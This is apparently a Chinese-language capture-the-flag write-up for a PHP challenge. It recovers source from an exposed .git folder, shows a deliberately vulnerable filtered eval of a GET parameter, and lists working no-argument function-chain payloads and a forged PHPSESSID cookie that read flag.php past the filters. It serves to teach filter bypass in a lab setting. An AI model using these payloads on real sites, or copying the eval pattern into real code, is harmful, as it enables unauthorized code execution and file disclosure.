扫除git
通过githack
获取index.php
- include "flag.php";
- echo "flag在哪里呢?
"; - if(isset($_GET['exp'])){
- if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
- if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
- if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
- // echo $_GET['exp'];
- @eval($_GET['exp']);
- }
- else{
- die("还差一点哦!");
- }
- }
- else{
- die("再好好想想!");
- }
- }
- else{
- die("还想读flag,臭弟弟!");
- }
- }
- // highlight_file(__FILE__);
- ?>
发现是命令执行 并且存在过滤
我们之前使用的 print_r(dirname(__FILE__));
在这里不可以使用
直接上payload了
print_r(localeconv());

通过current指定第一个 .
?exp=print_r(current(localeconv()));
这样我们配合 scandir 就可以实现 scandir('.')了
?exp=print_r(scandir(current(localeconv())));

这里我们无法使用[] 所以我们可以通过 array_reverse 倒序数组 然后next即可
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
正常情况下 不开启 seesion 服务 但是如果我们可以通过 seesion_start()开启
我们就可以通过 seesion传递值
- ?exp=print_r(session_id(session_start()))
-
-
- bp中加
-
- Cookie: PHPSESSID=flag.php

然后一样通过 highlight_file即可
